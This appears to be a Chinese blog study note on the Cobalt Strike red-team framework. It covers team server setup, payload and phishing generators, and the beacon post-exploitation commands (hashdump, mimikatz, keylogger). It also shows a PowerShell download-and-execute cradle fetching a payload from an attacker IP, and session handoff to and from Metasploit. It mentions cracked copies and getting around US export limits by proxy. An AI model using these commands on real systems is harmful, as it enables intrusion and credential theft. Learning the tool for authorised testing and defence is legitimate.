Cobalt Strike学习笔记

生来就可爱ヽ(ⅴ<●) 提交于 2019-12-16 10:50:16

  Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。Cobalt Strike主要用于团队作战,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。
  Cobalt Strike,据说现在最新版为3.9,主要分为试用版和付费版,试用版为21天,付费版3500美元,据说网上也有一些破解教程cobaltstrik3.6破解版下载 密码: 51tg。因为Cobalt Strike是美国对外限制型出口软件,只在美国和加拿大允许发售,所以我们需要google搜索下usa的个人代理来绕开限制。

0x01 安装与运行

  Cobalt Strike需要JAVA环境,需要注意的是JAVA环境不要安装最新版,否则会出一些问题,Cobalt Strike分为客户端和服务端可分布式操作可以协同作战。但一定要架设在外网上,或者自己想要搭建的环境中,服务器端只能运行在Linux系统上。其中关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行:

1
./teamserver 192.168.3.32 test   #自己的IP和密码


  说一下我安装运行时遇到的坑,首先:JAVA版本必须为8,否则就因版本问题无法编译运行;二:IP必须为真实IP,不能使用0.0.0.0或者127.0.0.1,这样也会报错的。
  服务器端运行之后,我们就可以运行客户端了,客户端可以在Windows或者Linux下都可以。输入我们刚才IP以及端口、密码,用户名可以任意设置。



  当攻击目标在控制台所操作的指令都会被记录到保留在Cobalt Strike目录logs下,对了,破解版是无法更新的。

0x02 参数详情

  • Cobalt Strike

    1234567
    New Connection  #进行另外一个连接,支持连接多个服务器端Preferences  #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录Visualization  #主要展示输出结果的形式VPN Interfaces  #设置VPN接口Listenrs  #创建一个ListenerScript Manager  #Close  #退出连接
  • View

    12345678910
    Applications  #显示受害者机器的应用信息Credentials  #凭证当通过hashdump或者Mimikatz抓取过的密码都会储存在这里。Downloads  #下载文件Event Log  #主机上线记录以及团队协作聊天记录Keystrokes  #键盘记录Proxy Pivots  #代理模块Screenshots  #进程截图Script Console  #控制台,在这里可以加载[各种脚本](https://github.com/rsmudge/cortana-scripts)以增强功能Targets  #显示目标Web Log  #Web访问记录
  • Attacks

    1234567891011121314151617
    Packages  #攻击包  HTML Application   生成恶意的HTA木马文件  MS Office Macro   生成office宏病毒文件  Payload Generator   生成各种语言版本的payload  USB/CD AutoPlay   生成利用自动播放运行的木马文件  Windows Dropper   捆绑器,能够对文档类进行捆绑  Windows Executable   生成可执行exe木马  Windows Executable(S)  生成无状态的可执行exe木马Web Drive-by  #钓鱼攻击  Manage  对开启的web服务进行管理  Clone Site  克隆网站,可以记录受害者提交的数据  Host File  提供一个文件下载,可以修改Mime信息  PowerShell Web Delivery  类似于msf 的web_delivery   Signed Applet Attack  使用java自签名的程序进行钓鱼攻击  Smart Applet Attack  自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本  System Profiler  用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等Spear Phish  #用来邮件钓鱼的模块
  • Reporting

    123456
    activity report  #活动报告生成Hosts report  #主机报告Indicators opromisef com   #目标报告Sessions report  #会话报告Social engineering report  #社会工程报告Export data   #数据出口
  • help

    12345
    Homepage  #官方主页Support  #技术支持Arsenal  #开发者System information  #版本信息About  #关于

0x03 基本运行

  首先使用Cobalt Strike需要创建一个Listener,点击 Cobalt Strike->Listeners ,然后点击Add便可以创建自己想要的Listeners了,Cobalt Strike3.6包括

123456789
windows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_httpwindows/beacon_http/reverse_httpwindows/beacon_https/reverse_httpswindows/beacon_smb/bind_pipewindows/foreign/reverse_dns_txtwindows/foreign/reverse_httpwindows/foreign/reverse_httpswindows/foreign/reverse_tcp

  其中windows/beacon是Cobalt Strike自带的模块,包括dns,http,https,smb四种方式的监听器,windows/foreign为外部监听器,即msf或者Armitage的监听器。 选择监听器以后,host会自动填写我们开启服务时的ip,配置监听端口,然后保存,监听器就创建好了。


  在创建好监听器,接下来就需要配置我们的客户端了,Cobalt Strike提供了多种包括攻击方式,在这里我们使用Powershell进行攻击。



1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.83:8888/a'))"

  当我们在目标靶机运行上面这条Powershell之后,我们的Cobalt Strike客户端就会监听到我们的反弹链接,我们就可以看到已经有目标机上线。


123456789101112131415161718192021222324252627282930大专栏  Cobalt Strike学习笔记line">31323334353637383940414243444546474849505152535455565758596061626364656667686970717273
beacon> help    Beacon Commands===============        Command                   Description    -------                   -----------    browserpivot              Setup a browser pivot session     bypassuac                 Spawn a session in a high integrity process    cancel                    Cancel a download that's in-progress    cd                        Change directory    checkin                   Call home and post data    clear                     Clear beacon queue    covertvpn                 Deploy Covert VPN client    desktop                   View and interact with target's desktop    dllinject                 Inject a Reflective DLL into a process    download                  Download a file    downloads                 Lists file downloads in progress    drives                    List drives on target    elevate                   Try to elevate privileges    execute                   Execute a program on target    exit                      Terminate the beacon session    getsystem                 Attempt to get SYSTEM    getuid                    Get User ID    hashdump                  Dump password hashes    help                      Help menu    inject                    Spawn a session in a specific process    jobkill                   Kill a long-running post-exploitation task    jobs                      List long-running post-exploitation tasks    kerberos_ccache_use       Apply kerberos ticket from cache to this session    kerberos_ticket_purge     Purge kerberos tickets from this session    kerberos_ticket_use       Apply kerberos ticket to this session    keylogger                 Inject a keystroke logger into a process    kill                      Kill a process    link                      Connect to a Beacon peer over SMB    logonpasswords            Dump credentials and hashes with mimikatz    ls                        List files    make_token                Create a token to pass credentials    mimikatz                  Runs a mimikatz command    mkdir                     Make a directory    mode dns                  Use DNS A as data channel (DNS beacon only)    mode dns-txt              Use DNS TXT as data channel (DNS beacon only)    mode http                 Use HTTP as data channel    mode smb                  Use SMB peer-to-peer communication    net                       Network and host enumeration tool    note                      Assign a note to this Beacon           portscan                  Scan a network for open services    powershell                Execute a command via powershell    powershell-import         Import a powershell script    ps                        Show process list    psexec                    Use a service to spawn a session on a host    psexec_psh                Use PowerShell to spawn a session on a host    pth                       Pass-the-hash using Mimikatz    pwd                       Print current directory    rev2self                  Revert to original token    rm                        Remove a file or folder    rportfwd                  Setup a reverse port forward    runas                     Execute a program as another user    screenshot                Take a screenshot    shell                     Execute a command via cmd.exe    sleep                     Set beacon sleep time    socks                     Start SOCKS4a server to relay traffic    socks stop                Stop SOCKS4a server    spawn                     Spawn a session     spawnas                   Spawn a session as another user    spawnto                   Set executable to spawn processes into    steal_token               Steal access token from a process    timestomp                 Apply timestamps from one file to another    unlink                    Disconnect from parent Beacon    upload                    Upload a file    wdigest                   Dump plaintext credentials with mimikatz    winrm                     Use WinRM to spawn a session on a host    wmi                       Use WMI to spawn a session on a host

0x04 与msf进行联动

  • cs获得了一个上线机器,想把这个机器丢给msf中的meterpreter获得一个session进行控制
    这里我们已经获得了一个上线机器。

12345678
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp  ##不要用x64的payloadpayload => windows/meterpreter/reverse_tcpmsf exploit(handler) > set lhost 192.168.3.72 lhost => 192.168.3.72msf exploit(handler) > set lport 5555lport => 5555msf exploit(handler) > exploit -j


之后使用Cobalt Strike创建一个windows/foreign/reverse_tcp Listener,其中ip为msf的ip地址,端口为msf所监听的端口,


然后选中计算机,右键->Spawn:选择刚刚创建的监听器:


这个时候我们可以看到,msf上的监听已经上线,我们可以进行我们想要的一些操作了。

  • msf获得了一个meterpreter的session,想把session传给cs
    这里我们已经获得了一个meterpreter的session


    在CS中创建一个监听者,和上一步类似,这里host需要修改为CS客户端IP,创建好之后我们便监听着6666端口,等待着被控机连接。


    此时切我们换到meterpreter中,
    123456789101112
    meterpreter > background # 切换到后台msf exploit(handler) > use exploit/windows/local/payload_inject # 这个exploit是注入一个新的payload 到当前的session里面msf exploit(payload_inject) > set payload windows/meterpreter/reverse_http # 不能使用x64的payloadpayload => windows/meterpreter/reverse_httpmsf exploit(payload_inject) > set DisablePayloadHandler true  # 关闭msf payload的监听,可以不用设置,不影响效果msf exploit(payload_inject) > set lhost 192.168.3.103 # cs的服务端IPlhost => 192.168.3.103msf exploit(payload_inject) > set lport 6666 # 监听者的监听端口lport => 6666msf exploit(payload_inject) > set session 1 # 这里是之前meterpreter的session编号session => 1msf exploit(payload_inject) > exploit


此时机器便已成功从cs成功上线,可以进行各种姿势的操作。

  • cs获得了一个上线机器,想把这个机器丢给msf中继续进行渗透
    根据上线的肉鸡,可以使用SOCKS代理


    配置proxychains.conf,添加socks4 127.0.0.1 32557,然后就可以通过proxychains 使用各种工具做内网渗透了
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!